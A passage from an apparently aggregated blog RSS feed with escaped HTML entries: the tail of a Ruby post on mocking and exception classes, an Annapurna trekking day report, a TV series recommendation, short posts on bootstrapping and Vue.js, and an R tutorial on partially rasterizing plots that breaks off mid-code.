    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ServiceNotFound&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;StandardError&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ServiceTimeOut&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;StandardError&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And these tests pass.&lt;/p&gt;

&lt;p&gt;Why do we need &lt;code class="language-plaintext highlighter-rouge"&gt;ServiceNotFound&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;ServiceTimeOut&lt;/code&gt; to inherit from &lt;code class="language-plaintext highlighter-rouge"&gt;StandardError&lt;/code&gt;, &lt;em&gt;and&lt;/em&gt; be included in the class?&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;ServiceNotFound.ancestors
=&amp;gt; [Connection::ServiceNotFound,
 StandardError,
 Exception,
 Object,
 Kernel,
 BasicObject]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;StandardError.ancestors
=&amp;gt; [StandardError,
 Exception,
 Object,
 Kernel,
 BasicObject]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;raise&lt;/code&gt; is a Kernal method, &lt;a href="http://ruby-doc.org/core-2.5.1/Kernel.html#method-i-raise"&gt;it seems&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’m going to leave this here, for now. The whole problem that led to this blog post I am now fully ready to dig into - I wanted to &lt;code class="language-plaintext highlighter-rouge"&gt;rescue&lt;/code&gt; some raised exceptions, and when I did that, the standard &lt;code class="language-plaintext highlighter-rouge"&gt;assert_raises&lt;/code&gt; testing stopped working, because… it seemed the raised error was caught and “squelched” by the rescue, and never bubbled back up to the test.&lt;/p&gt;

&lt;p&gt;I’ll write more on that soon.&lt;/p&gt;

&lt;h3 id="misc-resources"&gt;Misc Resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.ibm.com/developerworks/library/wa-mockrails/"&gt;Mocking and stubbing in Ruby on Rails&lt;/a&gt;(this article is from 2007 and is the 2nd ranked result for googling &lt;code class="language-plaintext highlighter-rouge"&gt;mocks stubs rails&lt;/code&gt;!!!)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.justinweiss.com/articles/testing-network-services-in-ruby/"&gt;Testing Network Services in Ruby Is Easier Than You Think&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://semaphoreci.com/community/tutorials/mocking-in-ruby-with-minitest"&gt;Mocking in Ruby with Minitest&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Sat, 26 May 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/mocks-stubs-exceptions-ruby</guid></item><item><title>Annapurna Circuit - Day 15: Larjung to Ghasa</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-15-ghasa/</link><description>&lt;h1&gt;Tricky navigation and real coffee on the road to Ghasa.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The day starts off on the road, but our GPS directs us across a footpath on the river. After getting halfway across the large expanse, we realize we are unable to pass and have to walk all the way back and around on the road. I would ask the locals if the foot path is there before trying the shortcut. It seemed the small bridges had been washed away. We stopped for tea at Kokhethanti at the only guesthouse in town. After tea, we continued over the bridge to the woods on the other side. It’s an insanely beautiful walk through cute little towns that offer amazing views of Annapurna I. It was the first time we’d seen that peak in the entire trip.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466291/IMG_2952.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The walk is beautiful and peaceful and not too long. Upon entering Kalopani, we see a sign for real coffee, and I pretty much sprinted to the haven known as the Annapurna Guest House. It was one of the fanciest places we’d seen. The off season price was $15 a room, but it’s pretty fancy compared to the teahouses in town. We sat down for a break to have real coffee, WiFi, and an early lunch. The shakshuka was delicious despite not having a lot of tomato sauce. It only took us two hours to get here, so we decided to continue on despite the lovely lodging option.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466321/IMG_2966.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;In Kalopani, there is a path to the left which you’ll want to take. We ended up missing it but were desperate to get off the road. In turn, we had to climb through some thorn bushes, over stone walls, and across someone’s field to get back on the footpath. Once there, it was totally worth the crazy detour. We stumble upon a goat herder with hundreds of goats all taking a nap in the shade of the pine trees. This path connected back with the main road. On the other side of the road, a path picks back up, but we missed it and ended up on the road for at least an hour in the intense sun and grueling heat until we reached Ghasa.&lt;/p&gt;
&lt;p&gt;Ghasa is a tiny town which seems to have some construction going on on the walkways. We stopped in the Golden Inn Guest House for a pancake and tea. We did not stay in Ghasa because we had the brilliant idea to get all the way to Tatopani, which is 31km (20 miles) from Larjung. I do not recommend this. It was an insane day, and we didn’t arrive till 8pm. Most people stay in Ghasa, so I’ve split this up into two days for the sake of other people’s feet and sanity.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sat, 26 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-15-ghasa/</guid></item><item><title>Halt and Catch Fire</title><link>https://jasoneckert.github.io/myblog/halt-and-catch-fire/</link><description>&lt;p&gt;&lt;img alt="Halt and Catch Fire" src="haltandcatchfire.png#center" title="Halt and Catch Fire" /&gt;&lt;/p&gt;
&lt;p&gt;Halt and Catch Fire is an AMC television series that ran for four seasons from 2014-2017, and covers the culture and pivotal aspects of the computing industry from 1983 (just after the release of the IBM PC) to 1994 (when the Internet and World Wide Web exploded).&lt;/p&gt;
&lt;p&gt;You can binge watch it on Netflix if you like today, and trust me - you won’t be disappointed!  Halt and Catch Fire is the best drama I’ve ever seen - an emotional rollercoaster like no other.  The characters are unforgettable, the acting is nothing short of phenomenal, and the entire series has an incredible message about technology and human progress that you only get once you see the final episode!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Sat, 26 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/halt-and-catch-fire/</guid></item><item><title>Why bootstrap?</title><link>https://blog.harterrt.com/why_bootstrap.html</link><description>&lt;p&gt;Over the next few quarters,
I'm going to focus my attention on Mozilla's experimentation platform.
One of the first questions we need to answer is
how we're going to calculate and report the necessary measures of variance.
Any experimentation platform needs to be able to
 compare metrics between two groups …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Fri, 25 May 2018 22:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/why_bootstrap.html</guid></item><item><title>Vuejs and jquery – a digest</title><link>https://yasha.solutions/vuejs-and-jquery-a-digest/</link><description>TL;DR:
Really, vuejs could totally replace jquery if it wasn’t for some of jquery plugins. But really as time goes, I am sure we can expect it will come.
Comparing vuejs and jqueryReplace jquery with VueJSIf you are not that much of a jquery person anyway, this article should be a good intro for you : A Vue.js introduction for people who know just enough jQuery to get by</description><author>Yasha Solutions</author><pubDate>Fri, 25 May 2018 21:57:31 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/vuejs-and-jquery-a-digest/</guid></item><item><title>How to partially rasterize a figure plotted with R</title><link>https://jonathanchang.org/blog/how-to-partially-rasterize-a-figure-plotted-with-r/</link><description>&lt;p&gt;If you work with datasets that are big enough in R you will eventually encounter situations where your plots are so complex that they do things like crash Preview.app on macOS. For me this happens a lot when I generate huge scatterplots with very dense overplotting. These don’t add much information to the figure but nevertheless must be rendered by your PDF viewer, slowing it down and generally making a mess of things.&lt;/p&gt;
  &lt;p&gt;I recently encountered a situation where a journal’s editing office couldn’t handle a particularly complex figure and requested that the figure be converted into a raster format. This is less than ideal compared to a vector format like PDF: you can’t do things like select text from a rasterized PNG and it’s generally just less usable. (&lt;em&gt;&lt;a href="http://guides.lib.umich.edu/c.php?g=282942&amp;amp;p=1885352"&gt;More info on raster vs. vector images&lt;/a&gt;&lt;/em&gt;). Would it be possible to convert the complex parts of the figure to a raster format while keeping everything else vectorized?&lt;/p&gt;
  &lt;p&gt;The answer is yes! And it can all be done in R, with no fiddly conversions by hand and trying to place things precisely in Illustrator.&lt;/p&gt;
  &lt;p&gt;Let’s use the built-in &lt;code&gt;mtcars&lt;/code&gt; dataset to as an example, and include some colors and a legend:&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;plot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mpg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;legend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;&lt;img alt="" src="/uploads/2018/mtcars.png" /&gt;&lt;/p&gt;
  &lt;p&gt;Note that the legend overlaps the plot area. If you were to simply plot the entire thing as a PNG and then crop out the plot area, you’d either also have to rasterize the legend (and lose the ability to edit the text in Illustrator later) or manually erase the legend (let’s avoid doing things by hand).&lt;/p&gt;
  &lt;p&gt;Let’s modify this code step by step. First set up our PDF device, with an output size of 7 by 7 inches.&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"mtcars.pdf"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Next set up the plot axes and legend. These are the same plot commands as before, but here &lt;code&gt;type = &amp;quot;n&amp;quot;&lt;/code&gt; is specified, so that only the axes are set up, but no data are actually plotted.&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;plot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mpg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"n"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;legend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Now we must figure out how big our plot area actually is. To do so, use the &lt;code&gt;par&lt;/code&gt; function to extract the plot limits. This returns a 4-element vector, where the first two elements are the x-coordinates and the last two elements are the y-coordinates of the plot area.&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;par&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"usr"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# [1] 4.156 8.044 0.764 7.136&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;However, these coordinates are in “user” space, meaning that they don’t correspond to the physical dimensions in the plot device. Use the &lt;code&gt;grconvert&lt;/code&gt; functions to convert from user space to plot device space, in inches:&lt;/p&gt;
  &lt;div class="language-r highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;gx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;grconvertX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inches"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# [1] 0.82 6.58&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;gy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;grconvertY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“user”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“inches”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# [1] 1.02 6.18&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# [1] 5.76&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# [1] 5.16&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Now set up a raster device with the dimensions computed from the vector (PDF) device. Note that the PDF device is still active at this point.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;png&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"mtcars_panel.png"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;units&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"in"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"transparent"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Since the plot axes are handled in the vector device, it’s unnecessary to set those up. So avoid the high level &lt;code&gt;plot&lt;/code&gt; commands and instead set up the plot areas from scratch. &lt;code&gt;plot.window&lt;/code&gt; needs the x and y limits computed earlier, but by default R will expand the limits so that a data point right on the edge of the specified limits doesn’t get cut off.&lt;/p&gt;
&lt;p&gt;Tell R to turn off this feature by setting &lt;code&gt;xaxs&lt;/code&gt; and &lt;code&gt;yaxs&lt;/code&gt; to &lt;code&gt;&amp;quot;i&amp;quot;&lt;/code&gt;. Also turn off the plot margins with &lt;code&gt;mar = c(0,0,0,0)&lt;/code&gt; since that will just be empty space.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;plot.new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
